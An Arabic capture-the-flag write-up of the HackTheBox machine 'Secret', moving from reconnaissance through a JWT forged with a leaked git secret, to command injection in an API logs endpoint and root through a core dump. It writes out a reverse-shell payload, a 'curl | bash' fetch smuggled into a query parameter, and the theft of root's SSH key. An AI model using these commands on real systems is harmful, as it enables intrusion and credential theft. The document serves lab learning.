> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/secret-hackthebox-writeup.md).

# شرح Secret HackTheBox

{% embed url="<https://app.hackthebox.com/machines/408>" %}

{% hint style="warning" %}
**المهارات**:

* تحليل الشيفرة
* استغلال واجهة برمجة التطبيقات
* رموز ويب JSON (JWT)
* استغلال/توظيف Core Dump (تصعيد الصلاحيات)
  {% endhint %}

## الاستطلاع

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/78da764279ee3e939e6b52a63156e40bc3a1d0f2" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/49720fe807fc3004e3afc285788b4e2282ffa744" alt="" width="563"><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.120 -oG allPorts
```

<figure><img src="/files/1571e3dbb23ef1330c11d1745aba80f55e548fba" alt=""><figcaption></figcaption></figure>

**تحليل المنافذ المفتوحة باستخدام extractPorts:**

استخدم دالة extractPorts لعرض المنافذ المفتوحة بصيغة موجزة ونسخها إلى الحافظة (80,22,3000)

<figure><img src="/files/156c199b37d853a11478cdde4642fb108dc5a1e4" alt="" width="563"><figcaption></figcaption></figure>

فحص إصدارات المنافذ باستخدام Nmap:

استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":

```bash
nmap -sCV -p80,22,3000 10.10.11.120 -oN targeted
```

<figure><img src="/files/a8e6a7a87d6520ecb70db209039bbbf54385fc82" alt=""><figcaption></figcaption></figure>

لحل أسماء النطاقات إلى عناوين IP عبر DNS، نقوم بإدراج اسم النطاق المرتبط بعنوان IP الخاص به في `/etc/hosts` الملف:

<figure><img src="/files/ef09fef5ef53076853812174a8ea8ef8df0ed125" alt="" width="563"><figcaption></figcaption></figure>

> **ملاحظة**: الموقع نفسه متاح عبر المنفذين 80 و3000.

<figure><img src="/files/e3f1462148c4c0ce1c16bb0559dc5c66ac68845d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/5ede82e8b18d1ce0e6da6f5b0738d4fc1b9ad629" alt=""><figcaption></figcaption></figure>

**البحث عن الأدلة:**

نستخدم Gobuster للبحث عن الأدلة في الموقع:

```bash
gobuster dir -u http://secret.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="/files/ba04404df93bd54af6b4cb7c1234419685f2ef4c" alt=""><figcaption></figcaption></figure>

## تسجيل مستخدم لواجهة البرمجة

في قسم "docs" نجد تعليمات لتسجيل مستخدم. مثال للمستخدم “jordan”:

<figure><img src="/files/94433051bae608dd1e7482131e7d5afdcbdc0a08" alt=""><figcaption></figcaption></figure>

```json
curl -s -X POST http://secret.htb:3000/api/user/register -H "Content-Type: application/json" -d '{
    "name": "jordan",
    "email": "jordan@htb.com",
    "password": "jordan"
}' ; echo
```

<figure><img src="/files/c1f3efa2ab30c44397615edbacccf33b833b5db4" alt=""><figcaption></figcaption></figure>

## واجهة برمجة المصادقة

للاتصال:

```json
curl -s -X POST http://secret.htb:3000/api/user/login -H "Content-Type: application/json" -d '{
    "email": "jordan@htb.com",
    "password": "jordan"
}' ; echo
```

هذا يعطينا رمز مصادقة (`auth-token`).

`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoiam9yZGFuIiwiZW1haWwiOiJqb3JkYW5AaHRiLmNvbSIsImlhdCI6MTczMDI3ODEyM30.z6quBZ6bTMSrkl7NxIfLEL0gUw6Wjvm3HWdnlhZBUoQ`

<figure><img src="/files/f90efefcae3d9353d65abd86f69e66bde966e869" alt=""><figcaption></figcaption></figure>

### فحص جسم JSON الافتراضي

<figure><img src="/files/ccb12d2ca55b54adf62b6ccda2a8e5005bf33085" alt="" width="563"><figcaption></figcaption></figure>

`email: "root@dasith.works"`

`password: "Kekc8swFgD6zU"`

<figure><img src="/files/9225b697c0a3fceb148d7a99fff83a379338650c" alt=""><figcaption></figcaption></figure>

### التحقق من الثغرة الأمنية [رمز Web JSON](/ar/web-vulnerabilities/json-web-token-jwt-attack.md)

استخدم موقعًا لفك ترميز JWT لقراءة محتواه والتلاعب به.

> **ملاحظة**: يجب أن يكون رمز JWT غير صالح. عن طريق تعديل الحقلين "name" و"email" إلى قيم مسؤول:

{% embed url="<https://jwt.io/>" %}

<figure><img src="/files/8d1db01fa883c857de588977e7e52a4620398ca5" alt=""><figcaption></figcaption></figure>

`"name": "theadmin",`

`"email": "root@dasith.works",`

`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.yn6hXmpBxrfb5TMDY4_6zirckzlhnQP_L_YWb4wL2Ug`

<figure><img src="/files/fe01db036daf684acfd58d54b5cd280d39d5b205" alt=""><figcaption></figcaption></figure>

### محاولة الوصول إلى واجهة برمجة خاصة:

محاولة الاتصال بواجهة برمجة خاصة باستخدام JWT المعدل:

{% code overflow="wrap" %}

```bash
curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.yn6hXmpBxrfb5TMDY4_6zirckzlhnQP_L_YWb4wL2Ug" | jq
```

{% endcode %}

نتلقى رسالة "invalid token".

<figure><img src="/files/59d4a18acf292211786af34c8e16d5cd254e8fbc" alt="" width="563"><figcaption></figcaption></figure>

باستخدام JWT الخاص بنا لدينا وصول كمستخدم عادي:

{% code overflow="wrap" %}

```bash
curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoiam9yZGFuIiwiZW1haWwiOiJqb3JkYW5AaHRiLmNvbSIsImlhdCI6MTczMDI3ODEyM30.z6quBZ6bTMSrkl7NxIfLEL0gUw6Wjvm3HWdnlhZBUoQ" | jq
```

{% endcode %}

نتلقى رسالة "You are normal user".

<figure><img src="/files/4190f73e2967312b8d1ba5427236bb85b115408f" alt=""><figcaption></figcaption></figure>

## تعداد مسارات واجهة البرمجة باستخدام Wfuzz

استخدم Wfuzz لاستكشاف المسارات المتاحة:

{% code fullWidth="true" %}

```bash
wfuzz -c --hh=93 --hc 404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://secret.htb/api/FUZZ
```

{% endcode %}

اكتشاف جديد: المسار `/api/logs` .

<figure><img src="/files/fdb224e14cad51f1188d62b7b29837348251127f" alt=""><figcaption></figcaption></figure>

## تحليل الشيفرة المصدرية

توفر صفحة الويب خيارًا لتنزيل الشيفرة المصدرية.

<figure><img src="/files/5b2ed10e566a505ca3c9b9d4eeb669ddaa9bf668" alt="" width="563"><figcaption></figcaption></figure>

> **مكتشفات** :

* ملف `.env` ملف يحتوي على `token_secret` بالقيمة "secret".

<figure><img src="/files/56401b91a5ed16a2bac1079b7816a7bff0275744" alt=""><figcaption></figcaption></figure>

ملف `.git` مجلد يحتوي على commit يشير إلى حذف الملف `.env`.

<figure><img src="/files/6fc7b523e57edb2b330dacc0195a858e7b867809" alt=""><figcaption></figcaption></figure>

الملف القديم المحذوف `token_secret` تم العثور عليه:

`gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE`

<figure><img src="/files/9d8d20a32b40bccc76f7bc6d51d6705e8f94ead9" alt=""><figcaption></figcaption></figure>

استخدم هذا المفتاح القديم `token_secret` لتوقيع JWT بمعلومات المسؤول، والوصول إلى واجهة البرمجة الخاصة:

`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8`

<figure><img src="/files/63cf0af174da70c4470292a43096de11f751272e" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```bash
curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" | jq
```

{% endcode %}

> **النتيجة**: رسالة الترحيب كمسؤول: "welcome back admin".

<figure><img src="/files/c2630d8d9347b971bdb86e6c9f46aaf768d29093" alt=""><figcaption></figcaption></figure>

أخيرًا، عند تشغيل `/api/logs` المسار، يظهر المحتوى التالي:

```json
"cmd": "git log --oneline undefined"
```

<figure><img src="/files/375e1db17ff461a92590c22fc12a15fad50fcd86" alt=""><figcaption></figcaption></figure>

عند فحص `privitate.js` الملف وتحليل الشيفرة، نرى أن:

<figure><img src="/files/329e079daca8e57c7fd5f842acb4b6d478c803af" alt=""><figcaption></figcaption></figure>

## ثغرة RCE:

{% hint style="info" %}
تحتوي هذه الشيفرة على مشكلة أمنية بسبب حقن الأوامر. لأن `الملف` يأتي من معاملات الاستعلام ويُدرج مباشرةً في أمر الطرفية، ويمكن لمستخدم خبيث تعديل `الملف` لتنفيذ أوامر أخرى. وظيفة هذا المسار هي تنفيذ `git log --oneline [file]` الأمر على النظام، حيث `[file]` هو ملف محدد مطلوب في معامل الاستعلام الخاص بالطلب.
{% endhint %}

فيما يلي مثال `curl` لأمر يحاول حقن `المعرّف`:

{% code overflow="wrap" %}

```bash
curl -s -X GET "http://secret.htb:3000/api/logs?file=/etc/passwd;id" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" | jq
```

{% endcode %}

<figure><img src="/files/01bbb423dcb3dfe274a54e7e059088782633f2e2" alt=""><figcaption></figcaption></figure>

#### سنشغّل غلافًا عكسيًا:

1. أنشئ `index.html` الملف على جهازنا وننشئ خادم ويب بالمحتوى التالي:

```html
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.6/4444 0>&1
```

2. بعد ذلك، استمع على المنفذ 4444:

```bash
nc -nlvp 4444
```

نفّذ حقنًا باستخدام `curl` على خادم الويب الخاص بنا:

{% code overflow="wrap" %}

```bash
curl -s -X GET -G "http://secret.htb:3000/api/logs" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" --data-urlencode "file=/etc/passwd;curl 10.10.14.6 | bash" | jq
```

{% endcode %}

<div data-full-width="true"><figure><img src="/files/fec3821374594e53ffea211410f01b2829e2b0bc" alt=""><figcaption></figcaption></figure></div>

### الراية user.txt :)

<figure><img src="/files/6a876b405ef54e92f8cfb98abbef772828d17790" alt=""><figcaption></figcaption></figure>

**التعامل مع الطرفية:**/ بمجرد حصولك على الوصول إلى خادم Linux، إليك الأوامر التي يجب تشغيلها للمعالجة بكفاءة في الطرفية:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

#### ثبّت الغلاف لتعمل براحة أكبر. <a href="#stabilize-the-shell" id="stabilize-the-shell"></a>

## تصعيد الصلاحيات (SUID)

باستخدام الأمر التالي نتحقق مما إذا كان مستخدمنا **لديه امتيازات SUID**:

```bash
find / -perm -4000 2>/dev/null
```

نجد ملفًا نادرًا موجودًا في `/opt/count`، ومالكه هو `root`.

<figure><img src="/files/1b257c5a926025fa38c2a2a3f89c2cd68c53ef8e" alt=""><figcaption></figcaption></figure>

عند تشغيل هذا الملف الثنائي، يطلب منا توفير ملف، ثم يعرض العدد الإجمالي للأحرف والكلمات والأسطر. ستقرأ هذه الشيفرة محتويات الملف ثم تعرض خصائصه.

<figure><img src="/files/f782c299fa89a9958856e6b843668dd3f794671e" alt="" width="563"><figcaption></figcaption></figure>

### ملف ثنائي Core Dump

عند فحص الشيفرة المصدرية، نلاحظ أنه يتم إنشاء core dump، ويُخزّن المحتوى مؤقتًا في حال حدوث خطأ.

<figure><img src="/files/f3708a554779762931d7fde1c0a530372e7e906e" alt=""><figcaption></figcaption></figure>

تُحفظ الأخطاء في `/var/crash` الدليل. إليك كيفية إنشاء core dump:

1. **أدخل اسم الملف أو الدليل:**

   ```bash
   أدخل اسم ملف/دليل المصدر: /root/.ssh/id_rsa
   ```

*(مفتاح SSH للجذر)* 2. **حفظ النتائج في ملف؟**

````
```css
حفظ النتائج في ملف؟ [y/N]: ^Z
```
````

*(وضعه في الخلفية)* 3. **احصل على PID:**

````
```bash
ps
```

_(نسخ PID)_
````

4\. **إنهاء العملية:**

````
```bash
kill -BUS 'PID'
```
````

5\. **أعد تشغيل الملف الثنائي:**

````
```bash
fg
```
````

6\. **تحقّق من دليل core dumps:**

````
```bash
ls -l /var/crash
```
````

*(يظهر ملف جديد: `_opt_count.1000.crash`)*

<figure><img src="/files/90e075786711a021811cd83ec83f1d3742c00b52" alt=""><figcaption></figcaption></figure>

أصبح لدينا core dump بترميز base64 يحتوي على مفتاح SSH للجذر.

<figure><img src="/files/459c8369ad6d17e85883d441b505abb52932733e" alt=""><figcaption></figcaption></figure>

### أبورت-أونباك

لاستخراج المعلومات، سنستخدم `apport-unpack`:

```bash
apport-unpack /var/crash/_opt_count.1000.crash /tmp/ssh
```

بعد ذلك، سنعرض محتويات الملف في `/tmp/ssh/coredump` باستخدام `strings`:

<figure><img src="/files/80cbd2463eb5c9e132ac949deeda8491a2830924" alt=""><figcaption></figcaption></figure>

نجد مفتاح SSH للجذر

<figure><img src="/files/68d91cb8d77f4f2e400a4fbb6104b4935b3b52f7" alt=""><figcaption></figcaption></figure>

### اتصال SSH

بمجرد أن ننشئ ال `id_rsa` الملف بصلاحيات 600، يمكننا الاتصال عبر SSH:

```bash
ssh root@10.10.11.120 -i id_rsa
```

<figure><img src="/files/8fb6b9965301cfc09231caa5ec8c92710a54f435" alt=""><figcaption></figcaption></figure>

### فلاغ الجذر :)

<figure><img src="/files/0606ef4c2cadadee22bf0b703c9dde568bdebe93" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/054cc7284003dc7b9b6c2d811875b6209bb5e4f9" alt="" width="529"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/secret-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
